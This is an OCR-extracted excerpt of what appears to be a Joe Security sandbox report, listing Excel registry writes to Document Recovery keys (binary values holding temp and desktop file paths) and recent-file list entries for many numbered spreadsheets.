HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F4AE9D success or wait 1 7FEEA9E9ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F50A0

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Max Display

Max Display

Iltem 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Iltem 11

Iltem 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Completion

success or wait 1

success or wait 1

success or wait 1
Data Completion
25 success or wait
25 success or wait

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address

Symbol

TFEEA9E9ACO unknown

TFEEA9E9ACO unknown

TFEEA9E9ACO unknown

Count

Source
Address

7FEEA9E9SACO

TFEEA9ESACO

7TFEEA9ESACO

TFEEA9ESACO

7FEEA9ESACO

TFEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

TFEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9ESACO

7TFEEA9ESACO

TFEEA9ESACO

7TFEEA9ESACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9E9SACO

7TFEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\ECD3E

Copyright Joe Security LLC 2021

Name

ECD3E

Type

binary

Data

04 00 00 00 EC 08 00 00 3B 00 00 00 43 success or wait

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 33 00 2E 00 32 00 36 00 35 00
2E 00 38 00 30 00 2E 00 73 00 68 00 65
00 65 00 74 00 2E 00 63 00 73 00 76 00
00 00 00 00 22 00 00 00 43 00 3A 00 5C
00 55 00 73 00 65 00 72 00 73 00 5C 00
41 00 6C 00 62 00 75 00 73 00 5C 00 41
00 70 00 70 00 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61 00 6C 00
5C 00 54 00 65 00 6D 00 70 00 5C 00 01
00 00 00 01 00 00 00 B9 46 DO 24 7C 27
D7 01 3E CD OE 00 3E CD OE 00 00 00
00 00 B8 02 00 00 OA 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

Completion

Source

Count Address Symbol

1

7TFEEA9E9ACO unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic ECE76 binary 04 00 00 00 EC 08 00 00 38 00 00 00 43 success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\ECE76 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 34 00 2E 00 35 00 2E 00 34 00
2E 00 73 00 68 00 65 00 65 00 74 00 2E
00 63 00 73 00 76 00 00 00 00 00 22 00
00 00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00 6F 00
63 00 61 00 6C 00 5C 00 54 00 65 00 6D
00 70 00 5C 00 01 00 00 00 01 00 00 00
B9 46 DO 24 7C 27 D7 01 76 CE OE 00
76 CE OE 00 00 00 00 00 B8 02 00 00 0A
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic ECF31 binary 04 00 00 00 EC 08 00 00 38 00 00 00 43 success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\ECF31 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 35 00 2E 00 35 00 2E 00 33 00
2E 00 73 00 68 00 65 00 65 00 74 00 2E
00 63 00 73 00 76 00 00 00 00 00 22 00
00 00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00 6F 00
63 00 61 00 6C 00 5C 00 54 00 65 00 6D
00 70 00 5C 00 01 00 00 00 01 00 00 00
DE 80 FD 24 7C 27 D7 01 31 CF OE 00
31 CF OE 00 00 00 00 00 B8 02 00 00 0A
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5795694722.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\6516896632.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\9713424497 .xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Iltem 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEA9ESACO

7FEEA9ESACO

7FEEA9E9ACO

7FEEA9ESACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9E9ACO

7FEEA9E9ACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9E9SACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\ECFEC

Copyright Joe Security LLC 2021

Name

ECFEC

Type

binary

Data

04 00 00 00 EC 08 00 00 30 00 00 00 43 success or wait

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 85 40 34
257C 27 D7 01 EC CF OE 00 EC CF OE
00 00 00 00 00 B8 02 00 00 66 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

Completion

Source

Count Address Symbol

1

7TFEEA9E9ACO unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EDO069 binary 04 00 00 00 EC 08 00 00 30 00 00 00 43 success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\ED069 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 39 00 31 00 34 00 37
00 36 00 35 00 32 00 35 00 36 00 30 00
38 00 2D 00 30 00 34 00 30 00 31 00 32
00 30 00 32 00 31 00 2E 00 78 00 6C 00
73 00 6D 00 00 00 00 00 17 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 01 00 00 00 01 00 00
00 E7 AC 49 25 7C 27 D7 01 69 DO OE
00 69 DO OE 00 00 00 00 00 B8 02 00 00
66 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
